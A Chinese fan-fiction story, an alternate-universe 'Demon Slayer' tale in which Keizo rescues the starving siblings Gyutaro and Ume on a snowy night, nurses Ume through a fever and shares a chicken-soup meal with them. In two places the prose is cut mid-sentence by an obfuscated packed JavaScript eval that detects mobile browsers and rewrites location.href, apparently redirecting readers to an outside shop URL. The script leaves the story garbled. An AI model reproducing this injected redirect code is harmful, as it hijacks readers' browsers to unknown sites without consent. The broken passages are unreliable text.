《(鬼灭)假如妓梅兄妹被庆藏捡回家》 1. 雪夜相遇 是夜,大雪。 雪花不是飘,而是砸下来的,被凛冽的风裹挟着,抽在人脸上生疼。 庆藏揣着怀里还温热的豆沙包,深一脚浅一脚地踩在堆积的雪地里。天黑得越来越早,也越来越冷,只要一出门,那寒风直往人骨头缝里钻。 庆藏心里记挂着恋雪,女儿的身子好不容易有了点起色,可别被这骤冷的天气打回原形。今天他特意买了只肥鸡,还有些新鲜的菜,想着回去就用砂锅慢慢炖上,炖得烂烂的,汤浓肉香,给恋雪和狛治好好补一补。 想到狛治那小子,庆藏嘴角就不自觉地带了笑,那孩子,照顾恋雪尽心尽力,学武也肯下苦功,真是个好孩子啊… 正思想着,路旁一处早已废弃的屋檐下,那堆被积雪半掩的破草垛里,传来一阵极其微弱的的声音。庆藏脚步一顿,是冻僵的野猫,还是…?他提了提手中那盏光线昏黄、只能照亮脚下方寸之地的灯笼,警惕地凑近了些。 “滚开!你是谁!别碰我们!” 一声嘶哑又充满敌意的童声猛地刺破寂静。草垛被猛地掀开一角,露出一双在黑暗中亮得吓人的眼睛,那眼神里没有孩童的天真,只有不符合他年纪的警惕与凶狠。 庆藏心头一凛。借着灯笼摇曳的光,他看清了——那是个男孩,看身量不过十来岁,却瘦得脱了形;头发也枯燥杂乱,身上穿着破烂不堪的单衣,根本无法抵御严寒;裸露在外的胳膊和小腿上,布满了青紫色的冻疮和深浅不一的伤痕,根根肋骨在薄薄的皮肤下清晰可见。 他死死蜷着身子,用自己那单薄得像纸片一样的背脊,顽强地抵御风雪,护着怀里的一团什么东西。 “不要怕,”庆藏放缓了声音,他将手里的食材轻轻放在雪地上,慢慢蹲下身,让自己显得不那么高大,不那么具有威胁性,保持着一个他认为安全的、不会惊扰到对方的距离, “我只是路过,听见声音过来看看。没有恶意。天这么冷,你怎么待在这里?家里人呢?是迷路了吗?” 男孩不说话,只是用那双眼睛死死地瞪着他。因寒冷和紧张,他瘦小的身体在不自觉地微微发抖,但护着怀里东西的姿势,却纹丝不动。 庆藏叹了口气,不再追问。只是摸索着从怀里掏出那个油纸包,轻轻打开,露出里面白白胖胖的豆沙包。香甜的气息在冰冷的空气中微弱地弥漫开来。 “饿了吧?”他尽量让声音听起来更平和,甚至带上了一点诱哄,“先吃点东西,垫垫肚子,怎么样?是甜的。” 男孩的喉结剧烈地滚动了一下,目光死死黏在包子上,但他没有动,反而把怀里那团东西护得更紧。这时,庆藏才注意到,他怀里是个更小的女孩,脸颊不正常的潮红,呼吸微弱而急促。 “小子,你妹妹…”庆藏的心沉了下去,声音也不由得带上了一丝急切和严肃,“她这不是冻的,是发烧了吧? 庆藏他见过太多病症了,知道这样小的孩子,在如此严寒中发起高烧意味着什么。 男孩身体一僵,嘴唇抿得发白。 “这么烧下去可不行,小孩子身体扛不住的。”庆藏的声音愈发温和,却带着不容置疑的认真, “你看,我叫庆藏,家就在前面不远的道场里。我家里也有个女儿,和你妹妹年纪差不多,还有个叫狛治的小子。你们跟我回去,至少让妹妹暖和暖和,把病治一治。你硬撑着,或许能熬过今晚,明天呢?你妹妹怎么办?她还能撑多久?” 妓夫太郎低头看着怀里意识模糊的小梅,她滚烫的额头贴着他冰凉的胸口,每一次微弱的呼吸都像刀子刮在他心上。 冬天,他总是最恨冬天。这该死的季节夺走了一切生机,食物、暖意、偶尔路过之人的一丝怜悯,甚至…希望。 若在别的时节,他总能想到办法,去河边摸鱼,掏鸟蛋,抓令人作呕的老鼠和蛇,或者,替那些盘踞在街巷深处的大人们去“收债”,哪怕只能换来几枚磨得发亮的铜钱,也能给小梅买一点甜滋滋的金平糖,看她露出比糖还甜的笑容。可冬天,只有无边无际的、仿佛要吞噬一切的寒冷和饥饿。 怀里的小梅温度持续不退,这热度让他恐惧,比任何殴打和辱骂都更让他害怕。他自己可以忍受一切,疼痛、屈辱,哪怕像阴沟里的老鼠一样在垃圾堆里翻找食物、苟延残喘地活着,但小梅不行。 小梅不可以和他一样。 这个男人和之前遇见的人都不一样,没有对他们有一丁点儿的嫌弃和厌恶,他口中说的“家”和“道场”,更是妓夫太郎无法想象的、遥远得如同另一个世界的东西。 赌一把。 就赌这一次。 如果他是骗子,如果他想伤害小梅…妓夫太郎攥紧了藏在草席下那把镰刀,眼中闪过一丝狠厉。大不了,拼了这条命,也要保护妹妹。 他抬起头,声音沙哑干涩,“喂…你说真的?有药?能救梅?” 妓夫太郎自己看不见,可是庆藏看得真真切切。他的眼神里,是孤注一掷的决绝,以及一丝连他自己都未曾察觉的、微弱的祈求。 “我保证。”庆藏毫不犹豫地回答,他的目光坦然,没有丝毫闪烁。他伸出手,不是去拉男孩,也不是去碰女孩,只是将那两个豆沙包又稳稳地往前递了递,“先让她吃点东西,有点力气。然后,我们回家。” “家…”妓夫太郎茫然地重复着这个陌生而遥远的字眼。他看着庆藏宽厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919615|192542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手掌、沉稳的目光,又低头看了看怀里小梅因高烧而痛苦蹙起的小眉头。 最终,他像是用尽了全身的力气,小心翼翼地,如同接过什么易碎的珍宝,或者说,是接过了通往未知命运的钥匙,接过了那两个包子。 他甚至来不及自己咬一口,而是立刻掰下最柔软、带着豆沙馅的一小块,笨拙地、小心地吹了吹并不存在的热气,然后才轻轻地、送到小梅干裂的唇边。 “梅…吃,吃了这个…吃了就不难受了…”他声音里所有伪装的凶狠和戒备都消失了,只剩下全然的焦急和温柔。 庆藏静静地在一旁看着,没有催促,没有打扰。风雪似乎在这一刻都变小了,天地间只剩下男孩喂食妹妹的这幅画面。 直到妓夫太郎费力地用那破草席,试图将小梅重新裹好抱起来,却因为长时间的饥饿,刚一起身就踉跄着差点连同妹妹一起栽倒在雪地里时—— 庆藏动了。 他一步上前,动作快而稳,不由分说地解开自己的外衣,将小女孩从头到脚严严实实地包裹起来,只露出一张呼吸急促的小脸。 然后,他稳稳地将这轻得几乎没有分量的孩子抱进自己宽阔的怀里。那重量让庆藏的心再次重重一沉,这哪里像是一个孩子的重量?恐怕和猫差不多重吧… “小子,这个你拿着吃,”庆藏把剩下的包子塞到还有些发懵的妓夫太郎手里,又提起地上的食材,“跟紧了,路不远,我们回家。” 妓夫太郎捏着手里已经有些凉了的包子,看着庆藏已经抱着小梅,转身迈开了大步。那宽阔的背影仿佛一堵能挡住所有风雪的墙。 他愣了一下,随即像是害怕被丢弃一般,猛地将包子胡乱塞进嘴里,甚至来不及咀嚼就咽了下去,然后迈开冻得几乎失去知觉的双腿,深一脚浅一脚地踉跄着跟了上去。 风雪似乎更大了些,呜咽着试图吞噬这小小的队伍。但那盏昏黄的灯笼,却在这漫天的茫茫白雪中,坚定地跳动着,晕开一圈温暖而充满希望的光晕,固执地照亮着回道场的那条小路。 一个高大的男人,怀抱着一个生命垂危的小女孩,身后跟着一个瘦小蹒跚、每一步都走得艰难却又异常执着的男孩,一步步,踏碎风雪,走向那片在视野尽头逐渐清晰、散发着温暖光芒的——名为“家”的地方。 而此时的道场里,灯火通明,灶上有咕嘟作响的热汤,药罐里飘出苦涩却安心的气息,温暖的被炉,以及…两个命运同样坎坷、却在此地找到了栖身之所的少年少女。 等待着这对兄妹的,将是一碗驱散寒意的热粥,一碗救命的汤药,一张干净温暖的床铺,以及,一个注定从此不同、充满了未知与可能的未来。 2. 雪夜归家 雪夜,归家。 道场的拉门被哗啦一声拉开,裹挟着雪片的寒气与屋内暖融融的空气猛烈冲撞。 正跪坐在被炉边,小心翼翼给恋雪喂药的狛治猛地回头,眼神锐利,但在看清来人后,瞬间收敛了那份警惕,转为一丝不易察觉的讶异。 “师父?”他放下药碗,立刻起身迎上前。 “快,狛治,帮忙!”庆藏没有多解释,甚至连手中装着食材和鸡的布袋也没来得及放下。他侧身快步进门,怀里那个被厚重衣物包裹的小小身影显得格外醒目。 紧接着,一个瘦骨嶙峋、浑身落满雪粒的男孩踉跄着跟了进来,他站在门口玄关处,浑身僵硬,沾满泥雪的赤脚在干净的木地板上留下污渍,更让他显得局促不安,只有那双眼睛,死死盯着庆藏怀里的妹妹。 “父亲,这是…”被炉里的恋雪撑起虚弱的身子,脸上也满是惊愕。她看着父亲怀中那张因高烧而通红的小脸,以及门口那个看起来比狛治当初还要狼狈的男孩,心中涌起难言的情绪。 “路上捡的,妹妹病得厉害。”庆藏言简意赅,一边脱下鞋子,一边对狛治吩咐,“去把里面那间空着的储物间收拾出来,铺上被褥,要厚!再去烧热水,越多越好!” 他又看向恋雪,声音放柔,“恋雪,你感觉怎么样?能帮我找一下之前医师开的、适合小孩退热的药方和药材吗?” “我、我这就去!”恋雪连忙点头,挣扎着要起来。 狛治动作更快,他已经一言不发地转身冲向储物间,没有丝毫迟疑。他明白这种在绝望中被善意捡回来的滋味,也清楚此刻什么是最重要的。 庆藏将小梅轻轻放在恋雪刚才所在的、尚存温暖的被炉里,恋雪小心地解开裹着女孩的外衣。那滚烫的体温和瘦弱得可怜的身形让恋雪倒吸一口凉气。 “好瘦…”恋雪的声音带着哭腔,她连忙用自己的被子盖在小梅身上,又伸手去探她的额头,被那热度烫得缩了一下。 门口的妓夫太郎看到这一幕,喉咙里发出一声模糊的咕噜,像是想阻止,又强忍下去。毕竟以往伸向他们的手,无一不是恶意。他紧紧攥着拳,指甲几乎要嵌进掌心,目光一瞬不瞬地跟着妹妹。 “小子,别站那儿了,进来,把门关上,冷风都灌进来了。”庆藏回头,对妓夫太郎招招手,语气不容拒绝。 妓夫太郎僵硬地挪动脚步,关上门,却依旧只肯站在玄关的边缘,仿佛随时准备带着妹妹逃离,又好像是怕自己身上的脏污玷污这干净的一切。 这时,狛治已经利落地铺好了床铺走出来,他看了一眼妓夫太郎,又看了看被炉里那个气息微弱的小女孩,眉头微蹙。他没说什么,径直去厨房端来一碗一直温着的米粥,递给庆藏。 庆藏接过粥,试着喂给小梅,但她牙关紧咬,意识模糊,根本无法吞咽。他叹了口气,将粥碗放下。 “药煎上了吗?”他问狛治。 “嗯。”狛治点头,目光再次落到妓夫太郎身上,忽然开口,但并无恶意,“你,过来。” 妓夫太郎警惕地瞪着他。 狛治轻叹了口气,指了指厨房方向,“那里有热水,自己去洗洗。你身上太脏,有寒气,会传给你妹妹。” 这话精准地戳中了妓夫太郎的软肋。他低头看了看自己脏污不堪的身体和赤脚,又看了看妹妹,犹豫片刻,最终还是咬着牙,跟着狛治指向的方向,一步步挪向厨房。 道场里几个人忙碌起来。狛治不仅烧了更多的热水,还主动接过了煎药的活儿,守在厨房的小火炉前,盯着药罐里咕嘟咕嘟冒起的苦涩气泡。 恋雪则在父亲的吩咐下,翻找药材后,又支撑着找出干净的旧布,准备用来给小女孩擦拭降温。而庆藏,则一直守在小梅身边,密切观察着她的情况。 那只原本要成为鸡汤的肥鸡和新鲜的蔬菜,被孤零零地遗忘在门角的布袋里,无人顾及。 在这个风雪交加的夜晚,拯救一个垂危的小生命,远比一顿丰盛的晚餐来得重要。 过了一会儿,妓夫太郎从厨房出来。他仅是胡乱擦洗,头发湿贴额前,穿着狛治过大的旧衣。 他太瘦了,以至于穿着同龄人的衣服,却空荡得像套着麻袋一样。不过总算洗去了污垢与寒气,露出他这个年龄的孩童应有的、却布满伤痕的干净底色。 这时,狛治将煎好的深褐色药汁滤入碗中,苦涩的气息在房间里蔓延。 庆藏正试图用小勺一点点将药汁喂进小梅嘴里,但效果甚微,褐色的药汁顺着她的嘴角流下。 “这样不行,”庆藏眉头紧锁,“得想办法让她喝下去。” 妓夫太郎猛地冲了过来,跪坐在被炉边,看着妹妹痛苦的样子,比自己受伤还要难受。他伸出那双因为长期营养不良和冻疮而有些变形的手,有些笨拙,却又异常坚定地从庆藏手里接过了药碗和小勺。 “梅…”他俯下身,声音沙哑地呼唤,用勺子舀起一点药,小心地吹了吹,然后轻轻撬开小梅的唇缝,一点点滴进去,同时还用极其轻微的声音反复呢喃,“梅,喝下去…喝了就好了,不用怕,哥哥在呢…不怕…” 他的动作其实远不如庆藏熟练,甚至带着颤抖,但那全神贯注的模样,让一旁的庆藏三人都安静下来。 或许是听到了哥哥熟悉的声音,或许是那一点点耐心的滴灌起了作用,小梅的喉咙终于有了细微的吞咽动作。 一滴,两滴…一碗药,喂了将近一刻钟。 当最后一口药汁被小梅咽下,妓夫太郎整个人都像是虚脱了一般,后背的旧衣已被汗水浸湿。但他看着妹妹似乎平稳了些的呼吸,一直紧绷的肩膀,终于微微松弛了一些。 庆藏伸手再次探了探小梅的额头,虽然依旧烫,但似乎不像刚才那样灼人了。他长长舒了口气,“好了,药喝下去就有希望。让她好好睡一觉,发发汗。” 他这才有空看向几乎累瘫在地上的妓夫太郎,起身去厨房将之前那碗已经凉了的粥重新热过,又拿了几颗平时用来给恋雪缓和喝药的苦味买的金平糖??,一起递到他面前。 “辛苦了,小子。现在,该你了。把粥喝了,然后也去睡一会儿。”庆藏的语气温和,却带着一点不容拒绝的意味,“放心,你妹妹就在这里,我们看着。” 妓夫太郎看着眼前热气腾腾的米粥和掌 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“去睡吧,”庆藏指了指那间已经收拾出来的小房间,“今晚我守着她。” 妓夫太郎却用力摇头,固执地挪到被炉边,蜷缩在离妹妹最近的地方,用行动表明了自己的态度——他要守着她。 庆藏看着他那副用凶狠伪装脆弱、却又对妹妹展现出无限柔情的模样,心中叹息,也不再勉强。 嘴上说着“随你吧”,却默默地找出一床厚厚的被褥,给妓夫太郎铺在梅旁边,方便他守着妹妹。 夜更深了。 道场里安静下来,只有屋外风雪的呼啸,以及屋内几人或平稳或不安的呼吸声。药效开始发挥作用,小梅的呼吸似乎变得绵长了一些,额头上也渗出了细密的汗珠。 妓夫太郎蜷在妹妹身边,警惕心让他在温暖中也无法彻底安睡,时不时就要伸手探探小梅的鼻息和体温。 有一次他抬头,正对上对面狛治的目光。狛治并没有睡,他似乎习惯了守夜,只是安静地坐在阴影里。两人目光一触即分,没有交流,但某种同病相怜的微妙理解,似乎在寂静中悄然流淌。 他们都是被善意捡回来的人,今后也将处于善意的怀抱之中。 恋雪也强撑着没有回房,靠在父亲身边,迷迷糊糊地睡着,偶尔惊醒,第一件事就是去看小梅的情况。 庆藏看着眼前景象:被遗忘的食材,一旁的药罐,相依为命的陌生兄妹,病弱但善良的女儿,沉默却可靠的徒弟。 这个冬天,原本冷清的道场,因意外的闯入而变得拥挤,却也注入了难以言喻的生机。 庆藏悄悄叹了口气,他知道,天亮之后,会有无数问题等着他去解决——这对兄妹的来历、满身伤痕的根源、未来的安置、本就拮据的生计…还有那锅没来得及熬的鸡汤。 但此刻,听着窗外风雪的呜咽,看着在温暖下得以喘息的生命,感受着道场内流淌着的微弱羁绊,庆藏粗糙宽厚的手掌轻抚过女儿恋雪的头发,心中只剩坚定。 无论如何,先让他们活下来。 活下去,才有未来。 3. 风雪渐平 风雪,渐平。 第一缕阳光透过窗纸,温柔探入道场,驱散了长夜的寒冷。炭火将熄未熄,在被炉里维持着最后一点暖意。 妓夫太郎几乎是在光照射进房间的那一刻睁开了眼睛。那是一种根植于骨髓的警觉,即使在极度疲惫和片刻安睡中也不会消失。如果没有这样的警觉,恐怕他和妹妹也不能活到如今。这是妓夫太郎生命的前十几年间,吃人的世道告诉他的道理。 而他睁眼后的第一个动作,便是伸手去探身边小梅的额头。 触手的不再是昨夜那吓人的滚烫,而是一种温热的、正常的温度。小梅的呼吸平稳悠长,脸颊上那不正常的潮红也褪去了。终于退烧了,太好了…梅。 一直紧绷在心口的那根弦,此刻也得以稍稍松动。他小心翼翼地,用指尖极轻地拂开黏在妹妹额头的湿发,动作是与他外表截然不同的轻柔。 另一边,狛治也几乎在同一时间动了。他悄无声息地起身,熟练地拨弄了一下炭火,添上新炭,让暖意继续维系。然后他看向庆藏,用眼神示意——小梅似乎退烧了。 庆藏靠着墙壁,并未深睡,见状立刻起身,轻手轻脚地过来探查。他粗糙的手指搭在小梅的额头上感受了片刻,又仔细看了看她的脸色,终于露出了一个如释重负的笑容。 “烧退了…”他低声说,像是怕惊扰了什么,“这关算是熬过来了。” 这话如同一道赦令,让妓夫太郎一直强撑着的身体晃了一下,他低下头,用力眨了眨酸涩的眼睛,把某种汹涌的情绪死死压了回去。但是在已经稍稍明亮起来的屋子里,似乎可以看见他的眼角有什么晶莹的东西一闪而过… 恋雪也被细微的动静惊醒,听到父亲的话,慢慢地坐起身,脸上也绽放出真心实意的喜悦。 “太好了…这真是太好了呀,终于退烧了”她轻声说,目光柔和地落在相依偎的兄妹身上。 天光渐亮,道场内的景象清晰起来。角落里的肥鸡和蔬菜依旧原封不动,提醒着昨日的大餐计划中断的事实。 庆藏活动了一下有些僵硬的肩膀,开始分配新一天的任务,“狛治,去把米淘了,熬一锅厚厚的粥。恋雪,你再休息会儿,等精神好些,看看能不能找些你小时候的旧衣服,一会儿去改一改给小姑娘穿。” 他最后看向妓夫太郎,语气平和,“小子,你妹妹现在虚弱,需要干净。我去打热水,你帮她擦洗一下,换上干净布巾。能做到吗?” 妓夫太郎愣了一下,随即用力点头。毕竟照顾妹妹,这是他唯一熟悉且绝不会推卸的事情。 热水很快备好。妓夫太郎拧干温热的布巾,极其小心地、一点一点地擦拭小梅的手脚和脸颊,动作之间充满了珍视。 当擦掉连日流浪积下的污垢,露出小梅原本白皙细腻的皮肤时,妓夫太郎的眼神都亮了几分。 他的妹妹,本就该是这样干净的。本就该是这样漂亮的。 狛治沉默地在厨房忙碌,粥米的香气渐渐取代了药味,成为道场新的主调。他偶尔抬眼,能看到妓夫太郎那全神贯注的侧影,一种类似“理解”的情绪在他的眼中一闪而过。 恋雪休息了一阵,感觉气力稍微恢复了一些,然后翻找了一番,真的找出了一些自己幼时的旧衣。她靠在被炉边,用尚且虚弱的手,仔细地拆改缝补。 阳光透过窗纸,在她纤细的手指和柔软的布料上跳跃着。针线翻飞,指尖翻转,一件合身的衣服渐渐成型。 当小梅被哥哥用干净的布巾擦拭好,重新安顿在温暖的被窝里时,狛治的粥也熬好了。是比昨夜更稠厚的米粥,米粒几乎化开,最适合病后虚弱的身子。 庆藏盛了满满一碗,递给妓夫太郎。这一次,妓夫太郎没有立刻狼吞虎咽,而是先看向庆藏,又看了看狛治和恋雪,似乎在确认什么。然后,他才接过碗,再次担负起喂食妹妹的责任。 小梅的意识清醒了不少,能微微张嘴,配合着吞咽。虽然吃得慢,但每一口都实实在在。看着她能主动进食,妓夫太郎的眼睛比任何时候都要亮。 喂完妹妹,轮到他自己时,他才端起属于自己的那碗粥,坐在妹妹身边,安静地、一口一口地吃了起来。而这一次,再也不是流浪时那种狼吞虎咽,只为了好歹填饱肚子,而是开始学着真正品尝食物本身的味道。 饭后,庆藏看着外面放晴的天色,对妓夫太郎说,“你身上的伤,得处理一下。拖久了不好,容易落下病根。待会儿吃完午饭,我带你去附近的医馆里看看,虽然家里也有一些药,但是我们终归不是真的医师。还是去医馆里看看比较好。” 妓夫太郎身体本能地一僵,下意识地想遮掩手臂和腿上的冻疮与伤痕。 “不是嫌弃你,”庆藏看穿了他的心思,语气平和却有力,“是伤就得治。不能拖着,不然拖着拖着伤就成了病,可就治不好了。好了,小雪,去帮我把伤药和干净布条拿一些来。我先给你简单处理一下。” 恋雪应声而去。庆藏则示意妓夫太郎坐好。 当庆藏温热粗糙的手指沾着冰凉的药膏,触碰到那些溃烂流脓的冻疮时,妓夫太郎忍不住哆嗦了一下,却咬着牙没有躲开。他习惯了疼痛,但这种带着明确治愈意味的触碰,陌生得让他无所适从。 庆藏的动作很稳,清理、上药、包扎,一言不发,却自有一种让人安心的力量。妓夫太郎偷偷抬眼,看着这个男人专注的侧脸,心中那片早已冰封的、名为“信任”的角落,似乎裂开了一道细微的缝隙。 处理完伤口,道场陷入了短暂的宁静。小梅又睡着了,这一次是安稳的熟睡;恋雪又找了几件旧衣继续修改着衣服;狛治则负责把饭桌收拾干净,然后开始打扫房间。 日头渐盛,阳光将积雪照得耀眼。 庆藏终于提起那只肥鸡,对狛治说,“来吧,咱们把这鸡处理了,今天我必须把这锅鸡汤补上。正好给你们几个小孩补补身子。” 说着,他顿了顿,目光转向一直守在妹妹身边的妓夫太郎,“小子,你也来搭把手。” 妓夫太郎愣了一下,有些无措地站起来。他习惯了抢夺和偷窃,对于“帮忙准备食物”这件事,却非常非常陌生。 三个男人进入厨房里,空间顿时显得有些拥挤。狛治已经利落地烧上了一锅热水,准备烫鸡毛。他做事极其专注,每一个步骤都精准利落,带着一种习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919617|192542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武之人的干脆。 庆藏将肥鸡递给妓夫太郎,“来,拿着。” 妓夫太郎迟疑地接过那只冰冷僵硬的鸡,触感陌生又怪异。 “看好了,”庆藏示范着,“这样抓着鸡脚,把鸡浸到热水里,烫一会儿就好,不能太久,不然皮就破了。”他一边说,一边操作。 轮到妓夫太郎时,他学着庆藏的样子,小心翼翼地将鸡往热水里浸,但因为紧张,动作有些僵硬,差点把整只鸡掉进锅里,幸好旁边的狛治眼疾手快,才避免了这一场“惨剧”。 “注意点,跟着我学。”狛治说着,手上就开始动作。 妓夫太郎脸上闪过一丝窘迫,耳朵尖有点发红。 烫完鸡,开始拔毛。这活儿需要耐心。狛治手指灵活,唰唰几下就清理干净一大片。妓夫太郎则显得笨拙许多,他试图用蛮力,结果扯下了一小块鸡皮。 “轻点,”庆藏在一旁看着,忍不住出声指导,“顺着毛根的方向拔,用巧劲,不是让你跟它打架。”他拿起鸡,亲自示范了几下,“看,这样。” 妓夫太郎学着样子,放轻了动作,虽然速度慢,但总算不再破坏鸡皮了。他低着头,非常专注,仿佛在完成一件极其重要的任务。 接下来是清洗内脏。狛治熟练地剖开鸡腹,手法干净利落。当看到那些内脏时,妓夫太郎的肚子不争气地“咕噜”叫了一声,在安静的厨房里格外清晰。 他立刻僵住,脸上爆红,恨不得找个地缝钻进去。 庆藏像是没听见,很自然地对狛治说,“鸡胗和鸡心留着,洗干净了一起炖,有嚼头。”然后他转向妓夫太郎,指了指旁边的蔬菜,“去,把那些菜洗了,根部的泥巴要抠干净。” 这给了妓夫太郎一个台阶下。他立刻拿起那几颗鲜嫩的蔬菜,跑到水盆边,开始极其认真地搓洗,几乎要把菜叶子搓掉一层皮。 “喂,那是菜,不是木头。”狛治瞥了一眼,忍不住又“啧”了一声。 庆藏看着两个少年:一个沉默利落却暗含关照,一个笨拙生疏却全力以赴,忍不住摇了摇头,嘴角却带上了一丝不易察觉的笑意。这厨房,还真是前所未有的“热闹”。 经历了一番“鸡飞狗跳”之后,所有食材终于处理妥当。处理好的鸡、蔬菜和调味的葱姜蒜被放入巨大的砂锅中,注入清水,盖上盖子,架在灶上小火慢炖时,三人都暗暗松了口气… 当浓郁的的鸡汤香气终于在道场里弥漫开来时,一种奇异的“家”的感觉,仿佛也随之落到了实处。 这锅迟来的鸡汤,不再仅仅是一餐饭,更像是一个仪式,宣告着最危险的时刻已经过去,崭新的、充满未知的生活,正式开始了。 而这锅汤里,似乎也融入了某种笨拙的,却真实存在的协作与汗水。 妓夫太郎嗅着那诱人的香气,看着身边呼吸平稳的妹妹,感受着身上被妥善包扎的伤口传来的舒适感…还有刚才在厨房里那点手忙脚乱却未被嫌弃的经历。 一切、一切都是新奇的体验。 他依旧沉默,依旧警惕,但那双总是充满凶狠与戒备的眼睛里,第一次,映入了窗外澄澈的蓝天与温暖的日光。 4. 雪霁暖意 雪霁,暖意。 午后的阳光彻底驱散了残雪带来的寒意,透过道场的窗纸,洒下一片暖融融的光晕。房间的空气中,浓郁的鸡汤香气温暖地包裹着每一个人。 小梅在午饭前已经彻底醒了过来,虽然依旧虚弱,但那双漂亮的大眼睛已经恢复了神采,正依偎在哥哥身边,好奇又有些怯生生地打量着周围。 庆藏将巨大的砂锅端上被炉,掀开盖子的瞬间,白色的蒸汽裹挟着更加诱人的香味升腾而起。锅里,鸡肉已被炖得骨酥肉烂,金黄的油脂浮在奶白色的汤面上,切成块的萝卜和葱段吸饱了汤汁,再配上绿油油的新鲜蔬菜,显得格外诱人。 “好了,孩子们,都坐过来。准备开饭了”庆藏的一边温和地招呼房间内的几个孩子,一边拿起勺子,开始盛汤。 首先是恋雪。庆藏仔细地撇开表层的浮油,盛了半碗清亮的汤,还有炖得软烂的鸡腿和一些蔬菜。“小雪,你先喝点汤,暖暖胃,肉慢慢吃。” “谢谢父亲。”恋雪接过碗,脸上带着恬静的笑容。 接着是小梅。他先是和之前一样撇开表面的浮油,盛了小半碗清亮汤,又小心翼翼地吹了吹,递给妓夫太郎,“来,拿着。先喂你妹妹喝点汤暖暖身子,慢点,别烫着。一会儿喝完了我再盛点肉给她,现在盛出来等吃的时候就该凉了。” 妓夫太郎连忙接过,小心翼翼地捧着。他舀起一小勺,仔细吹凉,才送到小梅嘴边。“梅,喝点汤,很香的。是鸡汤,我们一起做的。” 小梅乖巧地张嘴,温热的汤汁流入喉咙,她的大眼睛立刻舒服地眯了起来,苍白的脸颊也被热气熏得泛起了淡淡的红晕。 “好喝…哥哥也喝”她小声地说,声音还有些沙哑。 看着妹妹喝下汤,又乖巧地让自己也喝,妓夫太郎心里泛起一阵阵暖意。但是他还是坚持喂完妹妹,一勺一勺,耐心十足。 “小梅乖,哥哥一会儿就喝,还多着呢。我们不用再那么着急了,不用和别人抢了…乖,再喝点,喝完…等你喝完,庆藏师父说了,再给你盛点肉。” 庆藏一边看着这温馨的一幕,一边手上动作不停地给狛治也盛了一碗,里面满满当当,还有一只鸡翅。“狛治,多吃点,你平时照顾小雪费心了,而且练武也消耗大。吃完不够再盛啊。” 狛治接过,点了点头说,“谢谢师父。”眼神在触及碗中的丰盛时,微微闪动了一下。他坐到一边,并没有立刻开动,而是等着其他人。 然后庆藏看了看小梅碗里的汤,发现已经喝得差不多了,就开口道:“来,把碗给我,我给小梅盛点肉。” 妓夫太郎乖巧地把碗递过去,庆藏接过之后。手上一边给小梅把剩下的那只鸡腿还有几块炖得软糯的萝卜盛到碗里,一边和小梅搭话。 “小梅,现在恢复一些力气了吗?要是可以自己吃的话,就麻烦你自己吃一会儿。你哥哥也饿着肚子呢哈哈哈,让你哥哥也一起吃,不然一会儿该凉了。可以吗?小梅” 小梅看了看碗里香喷喷的鸡腿,又抬头看了看哥哥有些疲惫却强打精神的脸,用力点了点头,用尚显虚弱的双手努力捧住了碗。“嗯!我自己可以吃,哥哥,你快吃饭!” 妓夫太郎看着妹妹认真的模样,眼眶又是一热。他揉了揉小梅的头发,“好,梅真乖。” 说着这才接过庆藏递来的另一只碗。同样是满满一碗,鸡肉堆得冒尖,还有一个肥嫩的鸡翅膀。 妓夫太郎看着眼前这碗远超他过去任何一餐分量的食物,愣住了。他抬起头,看向庆藏,又看看旁边安静的狛治和恋雪,嘴唇动了动,似乎想说什么,却发不出声音。 他习惯了被忽视、被抢夺、被施舍残羹冷炙,却从未经历过如此…平等甚至偏爱的分享。没有因为他和妹妹是外来者而克扣,也没有特别的怜悯,就像他们本就该坐在这里,分得同样的一份。 而等给所有孩子都盛完,庆藏才给自己盛上,只是碗里的肉要比孩子们的少很多。 “都愣着干什么,赶紧吃,不然都凉了。では、いただきます。(那么,我开动了。)” “我开动了。”恋雪和狛治也齐声说道。小梅和妓夫太郎学着他们的样子,小声地跟着说,“我开、开动了。” 妓夫太郎低下头,用力眨了眨有些发热的眼睛,捧起了碗。第一口汤咽下去时,那极致的鲜美和温暖几乎让他战栗。他吃得很慢,仔细咀嚼着每一块软烂的鸡肉,仿佛要将这味道牢牢刻进身体里。 小梅靠在哥哥身边,一点点地吃着庆藏师父给她盛的鸡肉。她看着哥哥大口吃饭,闻着满屋的香气,感受着被炉的暖意和周围人平和的气息,她小小的脸上露出了这些天来第一个真正放松的笑容。 一旁的狛治吃得很快,但动作并不粗鲁。他吃到一半,抬眼看向师父和恋雪,见恋雪正小口喝汤,父亲慈爱地看着她,便又低下头去,只是夹菜的动作放缓了些。 庆藏将一切尽收眼底。他喝了一口汤,满足地喟叹一声,然后状似随意地开口:“说起来,小梅醒了是好事,但也得好好休养一阵。还有太郎,你身上那些伤,也得养。这大冷天的,你们原先住的地方,怕是没法好好养病吧?” 妓夫太郎筷子一顿,有些僵硬地点了点头。“…是。” 他何尝不知道,那破屋陋巷,寒风刺骨,妹妹刚退烧,回去只怕又要病倒。可是,除了那里,他们又能去哪呢? 庆藏和恋雪交换了一个眼神,狛治也停下了筷子,看向师父。 “既然如此,” 庆藏放下碗,语气郑重了些,“在你们找到合适的落脚处,或者身体彻底好利索之前,不嫌弃的话,就留在这里吧。” 妓夫太郎猛地抬头 